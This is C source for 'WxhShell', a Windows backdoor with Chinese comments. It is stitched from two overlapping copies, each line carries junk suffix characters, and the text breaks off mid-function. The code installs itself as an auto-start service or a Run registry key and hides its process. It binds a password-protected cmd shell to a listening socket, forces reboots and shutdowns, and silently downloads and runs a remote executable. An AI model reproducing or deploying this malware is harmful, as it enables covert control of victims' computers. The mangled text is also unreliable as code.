  case 'd': { =29IHL3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MDU#V  
    if(Boot(SHUTDOWN)) ?%h$deJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 68Gywk3]=u  
    else { _ i}W1i  
    closesocket(wsh); l2qvYNMw  
    ExitThread(0); D]]wJQU2  
    } viG,z4Zf  
    break; )63 $,y-;$  
    } =c'4rJ$+  
  // 获取shell kIVQ2hmv  
  case 's': { H*'1bLzq  
    CmdShell(wsh); iCE!TmDT  
    closesocket(wsh); jYFJk&c  
    ExitThread(0); \&5V';  
    break; !Aw^X} C  
  } U}RBgPX!  
  // 退出 UowvkVa  
  case 'x': { y %Q. (  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #cu{AdK  
    CloseIt(wsh); _cX}!d!j  
    break; @"-\e|[N  
    } \</!kY*3@t  
  // 离开 kFv*>>X`  
  case 'q': { Zd6ik&S   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P[ 2!D)A  
    closesocket(wsh); T&?g)  
    WSACleanup(); NO o?  
    exit(1); G}fB d  
    break; <w{?b'/q  
        } x#J9GP.  
  } OT%E|) 6'  
  } 94rSB}b.O  
H OR8Jwf:  
  // 提示信息 9{*{Ba  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UqOBr2 UmG  
} ;!MQ@Fi^  
  } mb1mlsE  
D%p*G5Bg3  
  return; At'CT5=  
} DB5J3r81  
K*SgEkb'l  
// shell模块句柄 )*~A|[  
int CmdShell(SOCKET sock) 1f`De`zXzr  
{ "bm|p/A  
STARTUPINFO si; m2c'r3UEu  
ZeroMemory(&si,sizeof(si)); BDB*>y7(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;=Ma+d#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *an Ng<@  
PROCESS_INFORMATION ProcessInfo; >fH0>W+!  
char cmdline[]="cmd"; "' JnFM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /MGapmqV9  
  return 0; ]JrD@ Vy  
} ~U0%}Bbh  
|O{N_-];.  
// 自身启动模式 &-3 e3)  
int StartFromService(void) K(EJ`2]:r  
{ X 0G,tl  
typedef struct "mK`3</G  
{ &h-_|N  
  DWORD ExitStatus; MJ|tfQwhx  
  DWORD PebBaseAddress; V\cbIx(Z^  
  DWORD AffinityMask; <]qNjsdb9"  
  DWORD BasePriority; ?woL17Gt  
  ULONG UniqueProcessId; ^M'(/O1  
  ULONG InheritedFromUniqueProcessId; Q$E.G63Wl  
}   PROCESS_BASIC_INFORMATION; u?=mh`  
sbW+vc  
PROCNTQSIP NtQueryInformationProcess; 2dD" ^z{  
o,*m,Qc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /Y #8.sr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A2|Bbqd  
g:o/^_  
  HANDLE             hProcess; V<QpC5  
  PROCESS_BASIC_INFORMATION pbi; ~}.C*;J  
)|~&(+Q?]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }r: "X<`  
  if(NULL == hInst ) return 0; B\J[O5},  
+ [w 0;W_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e~]P _53  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I-]G{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p&(0e,`z/  
-9b=-K.y  
  if (!NtQueryInformationProcess) return 0; \ND]x]5d  
\p4*Q}t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &}"kF\  
  if(!hProcess) return 0; $*C }iJsF  
9@*pC@I)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h4hAzFQ.s  
C-YYG   
  CloseHandle(hProcess); !j6 k]BgZ  
^E70$yB ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Wn~s=  
if(hProcess==NULL) return 0; 9q`Ewj R  
QVT0.GzR  
HMODULE hMod; G\sx'#Whc  
char procName[255]; w <r*&  
unsigned long cbNeeded; uw+nll*W%  
xV> .]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xf4QLw/r  
REh"/d  
  CloseHandle(hProcess); 5U2%X pO   
K *@?BE  
if(strstr(procName,"services")) return 1; // 以服务启动 k79OMf<v  
$u<;X^  
  return 0; // 注册表启动 K)'[^V Xh  
} )I%M]K]F  
V%R]jbHZ#  
// 主模块 {"p ~M7  
int StartWxhshell(LPSTR lpCmdLine) f#s6 'g  
{ 7ys' [G|}r  
  SOCKET wsl; @K"$M>n$Z  
BOOL val=TRUE; OX;bA^+}P  
  int port=0; h% -=8l,  
  struct sockaddr_in door; *d8 %FQ  
ozOc6  
  if(wscfg.ws_autoins) Install(); `{#""I^_  
Xe4   
port=atoi(lpCmdLine); 3o rSk  
 L` [iI  
if(port<=0) port=wscfg.ws_port; z>!./z]p  
Y1 Ql_  
  WSADATA data; {MtJP:8Jp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r*{.|>me  
7{r7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k)+{Y v*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }hn?4ny  
  door.sin_family = AF_INET; #66i!}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ku'a,\7z  
  door.sin_port = htons(port); `Am|9LOT  
y>C !cYB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "smU5 s,P  
closesocket(wsl); L 0Ckw},,  
return 1; \4 b^*`d  
} ?8753{wk  
%g?M?D8Ud3  
  if(listen(wsl,2) == INVALID_SOCKET) { }oD^tU IK  
closesocket(wsl); 61_PSScSY  
return 1; 6GuTd  
} @.L#u#   
  Wxhshell(wsl); ^C K!=oO  
  WSACleanup(); UR^r>  
DlzL(p@r  
return 0; 2z;nPup,  
pauO_'j_1p  
} ?<J~SF Tt  
Csu9u'.V  
// 以NT服务方式启动 U/Cc!WXV]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +wj}x?ZeV  
{ fhg'4FO  
DWORD   status = 0; B/16EuH#  
  DWORD   specificError = 0xfffffff; EwBrOq`C  
13@e mb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :"y2u   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h7eb/xEto  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RSAGSGp  
  serviceStatus.dwWin32ExitCode     = 0; +184|nJ<2  
  serviceStatus.dwServiceSpecificExitCode = 0; /Igz[P^\9  
  serviceStatus.dwCheckPoint       = 0; \FO`WUAF  
  serviceStatus.dwWaitHint       = 0; ]HWeVhG  
GYtgw9 "Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )-I/ej^  
  if (hServiceStatusHandle==0) return; ]R~hzo  
GN(,`y  
status = GetLastError(); +/_XSo  
  if (status!=NO_ERROR) iklZ[G%A0  
{  }se3y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |7 K>`  
    serviceStatus.dwCheckPoint       = 0; wKJ|;o4;L  
    serviceStatus.dwWaitHint       = 0; _o w7E\70  
    serviceStatus.dwWin32ExitCode     = status; ByE@4+9  
    serviceStatus.dwServiceSpecificExitCode = specificError; [$} \Gv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _gH$ ,.j/  
    return; Ho#nM_ q  
  } bRggt6$z  
 `\##M=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `)$G}7cRUH  
  serviceStatus.dwCheckPoint       = 0; P*[wB_^&UP  
  serviceStatus.dwWaitHint       = 0; E;H9]*x/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pa^_D~  
} H{*rV>%  
LT)I ?ud  
// 处理NT服务事件,比如:启动、停止 VOYQ<tg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yd VDjE Y  
{ Kf?:dF  
switch(fdwControl) ; P<h 9(  
{ X6}W]  
case SERVICE_CONTROL_STOP: sMLXn]m  
  serviceStatus.dwWin32ExitCode = 0; jc3Q3Th/zn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qQf NT.  
  serviceStatus.dwCheckPoint   = 0; 7`7M4  
  serviceStatus.dwWaitHint     = 0;  rPr]f;  
  { p/eaO{6 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZG+FX:v  
  } P@bPdw!JA  
  return; 3{qB<*!p"G  
case SERVICE_CONTROL_PAUSE: hKg +A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IPn!iv)  
  break; 60n>FQ<  
case SERVICE_CONTROL_CONTINUE: nWc@ufY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,yp#!gE~  
  break; `'3&tAy  
case SERVICE_CONTROL_INTERROGATE: K8&) kfyI  
  break; JPL`/WA 0  
}; $KT)Kz8tF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )zy ;!  
} <l!:#u  
tZx}/&m-  
// 标准应用程序主函数 amExZ/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jza ?DhSAZ  
{ p7{H "AC  
0)zJG |  
// 获取操作系统版本 <H#0pFB  
OsIsNt=GetOsVer(); 0s Jp,4Vv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _KtV`bF  
YvuE:ia  
  // 从命令行安装 V60"j(  
  if(strpbrk(lpCmdLine,"iI")) Install(); [zq2h3r  
a;Pn.@NVq  
  // 下载执行文件 '.N}oL<gP  
if(wscfg.ws_downexe) { CY.92I@S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S~H>MtX(<  
  WinExec(wscfg.ws_filenam,SW_HIDE); EUh_`R  
} x|AND]^Q  
<_k A+&T  
if(!OsIsNt) { MSBrI3MqQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 mJ(ElDG  
HideProc(); 7;Lv_Y"b  
StartWxhshell(lpCmdLine); Xf"< >M  
} O8>&J-+2  
else raSga'uT;  
  if(StartFromService()) +84 p/ B#  
  // 以服务方式启动 p(="73  
  StartServiceCtrlDispatcher(DispatchTable); AEx VKy  
else 0Ntvd7"`}  
  // 普通方式启动 l1`r%9gr  
  StartWxhshell(lpCmdLine); ^7i7yM}6(  
h {zb)'R  
return 0; =_ j<x$,b-  
} Al@. KTK  
3*\Q]|SI!  
r| ]YS6  
WrRY 3X  
=========================================== BHU$QX  
{jwLVKT$  
x)N QRd  
VR1[-OE  
? F!c"+C  
&w`DF,k|  
" 4M]l~9;A  
ZNDi;6e  
#include <stdio.h> m]}U!XT  
#include <string.h> u>vvW|OB[  
#include <windows.h> j+3rS  
#include <winsock2.h> ?WqaT)l~  
#include <winsvc.h> :x5O1Zn/t  
#include <urlmon.h> 0y/31hp  
IC8%E3  
#pragma comment (lib, "Ws2_32.lib") ,~1sZ`C  
#pragma comment (lib, "urlmon.lib") yZm=#.f  
5}w   
#define MAX_USER   100 // 最大客户端连接数 -I6t ^$HA  
#define BUF_SOCK   200 // sock buffer Og@{6>  
#define KEY_BUFF   255 // 输入 buffer OAiv3"p  
JKrS;J^97v  
#define REBOOT     0   // 重启 ~b X~_\  
#define SHUTDOWN   1   // 关机 .}Xf<G&  
G3]#Du  
#define DEF_PORT   5000 // 监听端口 Nmt~1.J  
5a@9PX^.J  
#define REG_LEN     16   // 注册表键长度 b$Dh|-8  
#define SVC_LEN     80   // NT服务名长度 W#^.)V  
KZcmNli&A  
// 从dll定义API r_,;[+!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `jr?I {m;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ya!%o> J%t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D*PEIsV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m__pQu:  
l1O"hd'~s  
// wxhshell配置信息 uM,Ps}  
struct WSCFG { Z zp"CK 5  
  int ws_port;         // 监听端口 eV(9I v[  
  char ws_passstr[REG_LEN]; // 口令 0b n%L~KU  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,LSiQmV5  
  char ws_regname[REG_LEN]; // 注册表键名 4$ihnb`DQN  
  char ws_svcname[REG_LEN]; // 服务名 v2:i'j6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $?k]KD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uPYH3<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bX:h"6{=R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i`+bSg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T,>L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nfGI4ZE  
kQlwl9  
}; %.$7-+:7A  
t&[<Dl/L  
// default Wxhshell configuration >nih:5J,ja  
struct WSCFG wscfg={DEF_PORT, 9^8OIv?m8  
    "xuhuanlingzhe", ]b sabS?  
    1, mK"s*tD  
    "Wxhshell", to,\n"$~!  
    "Wxhshell", Fzt?M  
            "WxhShell Service", Xxd]j]  
    "Wrsky Windows CmdShell Service", @@{5]Y  
    "Please Input Your Password: ", o59$v X,  
  1, XG C\6?L~  
  "http://www.wrsky.com/wxhshell.exe", vDi Opd  
  "Wxhshell.exe" q-_!&kDK"  
    }; ^->S7[N?  
"&4r!2A  
// 消息定义模块 :E~rve'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #RU8 yT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m~Q24Z]!'&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k1zK3I&c_  
char *msg_ws_ext="\n\rExit."; 5dE=M};v  
char *msg_ws_end="\n\rQuit."; + Hv'u  
char *msg_ws_boot="\n\rReboot..."; ^i!6z2/  
char *msg_ws_poff="\n\rShutdown..."; v0E6i!D/  
char *msg_ws_down="\n\rSave to "; |K-`  
|vGHhzZ|  
char *msg_ws_err="\n\rErr!"; y5+%8#3  
char *msg_ws_ok="\n\rOK!"; {Y Y,{H  
E0&d*BI2  
char ExeFile[MAX_PATH]; qz (x  
int nUser = 0; :|niFK4  
HANDLE handles[MAX_USER]; |Rhqi  
int OsIsNt; Q% d1n*;+  
i 61k  
SERVICE_STATUS       serviceStatus; 4:N*C7 P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c-Yd> 4+ 1  
CPRVSN0b{4  
// 函数声明 { $yju_[  
int Install(void); h ! R=t  
int Uninstall(void); ArNQ}F/  
int DownloadFile(char *sURL, SOCKET wsh); zhFm2  
int Boot(int flag); fbOqxF"?we  
void HideProc(void); ) =29Hm"  
int GetOsVer(void); 2@GizT*mA  
int Wxhshell(SOCKET wsl); ^rP]B-)  
void TalkWithClient(void *cs); +s"6[\H1d  
int CmdShell(SOCKET sock); S**eI<QFSk  
int StartFromService(void); wB \`3u4  
int StartWxhshell(LPSTR lpCmdLine); b7Zo~ Z  
:Ez, GAk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $#u'XyA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NId.TaXh  
5h6o}  
// 数据结构和表定义 h3k>WNT7  
SERVICE_TABLE_ENTRY DispatchTable[] = DHw)]WB M  
{ G--X)h-  
{wscfg.ws_svcname, NTServiceMain}, 15<? [`:6  
{NULL, NULL} Y-YuY  
}; g""GQeR  
\'*M }G  
// 自我安装 K SO D(  
int Install(void) /YF:WKr2  
{ 'D ?o^  
  char svExeFile[MAX_PATH]; oR=i5lAU  
  HKEY key; |.UY' B  
  strcpy(svExeFile,ExeFile); Q^rR}Ws  
:\His{%  
// 如果是win9x系统,修改注册表设为自启动 M %!;5  
if(!OsIsNt) { D5?8`U m=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n%J=!z3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BrwC9:  
  RegCloseKey(key); @&O4a2+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HRDpFMA/~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p .=9[`  
  RegCloseKey(key); wLXJ?iy3  
  return 0; U"p</Q  
    } M] /aW  
  } X4!7/&  
} Rxd4{L )n  
else { VoZ{I{>|  
qVE0[ve  
// 如果是NT以上系统,安装为系统服务 Kh(`6 f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nq6'7'x  
if (schSCManager!=0) GN(<$,~g  
{ !ou#g5Q@z  
  SC_HANDLE schService = CreateService ~,HFd`  
  ( qEST[S V  
  schSCManager, J}X{8Ds9  
  wscfg.ws_svcname, 1Qf}nWy  
  wscfg.ws_svcdisp, $?0ch15/  
  SERVICE_ALL_ACCESS, gtA34iw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UDg' s  
  SERVICE_AUTO_START, UlE%\L0GD&  
  SERVICE_ERROR_NORMAL, EaO@I.[  
  svExeFile, DdgiY9a.  
  NULL, 6&eXQl  
  NULL, @9gZH_ur>E  
  NULL, g8%O^)d=>  
  NULL, &P|[YP37_  
  NULL x [FLV8`b|  
  ); :BF? r  
  if (schService!=0) [fa4  
  { A>yU0\A  
  CloseServiceHandle(schService); UUJQc ~=  
  CloseServiceHandle(schSCManager); ilL0=[2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !rM~   
  strcat(svExeFile,wscfg.ws_svcname); 1jl !VU6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EbQLMLD%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `S@TiD*  
  RegCloseKey(key); )O~[4xV~  
  return 0; .z`70ot?  
    } GrL{q;IO  
  } ^QRg9s,T<  
  CloseServiceHandle(schSCManager); |:=o\eu&  
} -[V-f> :  
} ^[tE^(|T  
~ y!'\d>q<  
return 1; @yaFN>w  
} e{P v:jl  
WKEb '^  
// 自我卸载 dq[h:kYm  
int Uninstall(void) \beO5]KS<  
{ C8}:z\A_@Z  
  HKEY key; }9'`3vsJ  
:jLL IqhB  
if(!OsIsNt) { q!5:M\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .gRj^pu   
  RegDeleteValue(key,wscfg.ws_regname); _8VP'S=  
  RegCloseKey(key); senK (kbc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @LKQ-<dZG  
  RegDeleteValue(key,wscfg.ws_regname); (CmK> "C+  
  RegCloseKey(key); \n) ',4mY  
  return 0; Zh<;r;2  
  } )|F|\6:ne  
} +T+@g8S  
} []>'Dw_r  
else { kz"uTJK  
9Yx(u 2PQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _>;Wz7  
if (schSCManager!=0) !Lf<hS^  
{ V)`2 Kw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IY`p7 )#i  
  if (schService!=0) =?fz-HB  
  { N4!`iS Y  
  if(DeleteService(schService)!=0) { &v{Ehkr*  
  CloseServiceHandle(schService); zH8E,)  
  CloseServiceHandle(schSCManager); fd\RS1[  
  return 0; %z><)7  
  } iQwQ5m!d &  
  CloseServiceHandle(schService); yGZsNd {a&  
  } S(Yd.Sp  
  CloseServiceHandle(schSCManager); *U?O4E9  
} NB"S ,\M0  
} S\ k<  
e3?=1ZB  
return 1; (jgk! 6  
} Ej(J j\  
:HkBP90o  
// 从指定url下载文件 +&Ld` d!n  
int DownloadFile(char *sURL, SOCKET wsh) c3A\~tHW  
{ }htjT/Nm  
  HRESULT hr; dj0; tQ=C  
char seps[]= "/"; tMIYVHGy  
char *token; vT'Bs;QR  
char *file; !>8~R2  
char myURL[MAX_PATH]; RK>Pe3<  
char myFILE[MAX_PATH]; K7+yU3  
BM%wZ: s  
strcpy(myURL,sURL); h+f>#O+:  
  token=strtok(myURL,seps); 0B NLTRv  
  while(token!=NULL) xt{'Be&Ya+  
  { kI{DxuTad  
    file=token; a&y^Ps6=  
  token=strtok(NULL,seps); c7Z4u|G  
  } C6_(j48&  
?Ec9rM\ze  
GetCurrentDirectory(MAX_PATH,myFILE); RU)35oEV|  
strcat(myFILE, "\\"); Y?VbgOM)  
strcat(myFILE, file); {f!/:bM  
  send(wsh,myFILE,strlen(myFILE),0); ?9b9{c'an  
send(wsh,"...",3,0); 5,RUPaE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R?2sbK4Cz  
  if(hr==S_OK) GF'wDi}  
return 0; 'Ts:.  
else yVd^A2  
return 1; -EjXVn! vQ  
$`=p]  
} f-=\qSo  
:$5A3i  
// 系统电源模块 ]rmBM  
int Boot(int flag) 5\-uo&#  
{ iHK~?qd}  
  HANDLE hToken; S:\i M:  
  TOKEN_PRIVILEGES tkp; )xGAe#E~j  
[M_{~1xX  
  if(OsIsNt) { 30Q p^)K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :QCL9QZ'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^E !v D  
    tkp.PrivilegeCount = 1; #x%'U}sF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 90}{4&C.^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L"L3n,%F  
if(flag==REBOOT) { &J[a.:..  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8s%/5v"  
  return 0; ^S9y7b^;r  
} R`?l .0  
else { 4JSPD#%f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mYBEjZ B  
  return 0; /'O8RUjN  
} g;IlS*Ld  
  } T) C@6/  
  else { BxY t*b%  
if(flag==REBOOT) { $EMOz=)I#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s:`i~hjq  
  return 0; 85{m+1O~  
} <_tmkLeZf  
else { G4&s_ M$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DA =U=F  
  return 0; W+nu=iQ!  
} J3Mb]X)_}  
} e5 =d Ev  
9N ]Xa  
return 1; 7*'/E#M  
} (z?HyxRT  
]' mbHkn68  
// win9x进程隐藏模块 \ /-c)  
void HideProc(void) 'nJF:+30ZH  
{ *p l6 V|  
LzygupxY!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r;cDYg  
  if ( hKernel != NULL ) WKf<% E$  
  { k#*-<1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `S&a.k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'X~tt#T  
    FreeLibrary(hKernel); mgxIxusR  
  } T?9D?u?]  
*P()&}JK  
return; <J[ le=  
} ? @V R%z  
fS]& ?$q  
// 获取操作系统版本 :d mE/Tq  
int GetOsVer(void) yIw}n67  
{ ^}3^|jF  
  OSVERSIONINFO winfo; oL4W>b )  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); We+rFk1ddt  
  GetVersionEx(&winfo); fJ,N.O+9E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8$Q`wRt(%  
  return 1; :-&|QVH  
  else -"(*'hD  
  return 0; r^9l/H~ $  
} 61\u{@o$  
f *ZU a  
// 客户端句柄模块 Z1Qz LvWs  
int Wxhshell(SOCKET wsl) 1CtUf7 `/Q  
{ gfk)`>E  
  SOCKET wsh; wAMg"ImJ  
  struct sockaddr_in client; (su,= Z  
  DWORD myID; !+x Q  
?}||?2=P  
  while(nUser<MAX_USER) SNEhP5!  
{ c0Ug5Vr  
  int nSize=sizeof(client); pA7-B>Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Ij!x`MS+  
  if(wsh==INVALID_SOCKET) return 1; 8(3(kZxS  
D6SUzI1+H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |1tKQ0jg  
if(handles[nUser]==0) FU|brS t  
  closesocket(wsh); npP C;KD  
else uL'f8Pqg  
  nUser++; N_t,n^i9>*  
  } (1/Sf&2i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OhF55,[  
F<4rn  
  return 0; ;w{<1NH2+.  
} `CK~x =  
uf(ayDE  
// 关闭 socket :XKYfc_y  
void CloseIt(SOCKET wsh) ~G@NWF?7  
{ [%IOB/{N  
closesocket(wsh); Da^q9,|  
nUser--; /iW+<@Mas  
ExitThread(0); ]kh]l8t^  
} Rq4; {a/j  
>Wg= Tuef  
// 客户端请求句柄 rOIb9:  
void TalkWithClient(void *cs) i4C{3J^  
{ ?2<QoS  
j KU2  
  SOCKET wsh=(SOCKET)cs; "tCI_ Zi;  
  char pwd[SVC_LEN]; 6iFlz9XiI  
  char cmd[KEY_BUFF]; }"Y<<e<z:  
char chr[1]; I#l}5e5  
int i,j; verI~M$v{  
&lc@]y8  
  while (nUser < MAX_USER) { HC0juT OiO  
0J R/V68$  
if(wscfg.ws_passstr) { I2}W/}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0AZ9I!&i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wG3L+[,  
  //ZeroMemory(pwd,KEY_BUFF); .=y=Fv6X  
      i=0; 0 9H rn  
  while(i<SVC_LEN) { .5JIQWE(  
= XZU9df  
  // 设置超时 3 ML][|TR  
  fd_set FdRead; OjU{r N*  
  struct timeval TimeOut; ]l7W5$26 @  
  FD_ZERO(&FdRead); #%,X),%-  
  FD_SET(wsh,&FdRead);  ^`H'LD  
  TimeOut.tv_sec=8; $e^"Inhtqp  
  TimeOut.tv_usec=0; q|5WHB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a=S &r1s>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z'o0::k  
 31n"w;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vE]ge  
  pwd=chr[0]; 2:LUB)&i  
  if(chr[0]==0xd || chr[0]==0xa) { >}k*!J|  
  pwd=0; !&)X5oJ  
  break; " <bjS  
  } ]+lT*6P*  
  i++; 8lQ/cGAc  
    } hzD)yf  
a%go[_w  
  // 如果是非法用户,关闭 socket ~z^l~Vyg?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |N,^*xP(6  
} 4+olyBht  
pEB3 qGA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r#-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \F _1 C=  
bLT3:q#s  
while(1) { y"?`MzcJ0  
(>`_N%_  
  ZeroMemory(cmd,KEY_BUFF); 4^(x)r &(?  
e9acI>^w  
      // 自动支持客户端 telnet标准   a )O"PA}2  
  j=0; as07~Xvp-  
  while(j<KEY_BUFF) { -]%EX:bm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b+s'B4@rb  
  cmd[j]=chr[0]; -]EL|_;  
  if(chr[0]==0xa || chr[0]==0xd) { q/U-WQ<+  
  cmd[j]=0; F6{g{ B  
  break; 6v@Prw@.b  
  } R P{pEd  
  j++; Owp]>e  
    } K#FD$,c~  
L1IF$eC  
  // 下载文件 1$Up7=Dr=  
  if(strstr(cmd,"http://")) { 6/!:vsa"3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 288mP]a(v_  
  if(DownloadFile(cmd,wsh)) mF gqM:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dJ"44Wu+J  
  else ,7nu;fOT[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (nqhX<T>  
  } YB*)&@yx  
  else { Vmz#u1gGT6  
HoBx0N9\2  
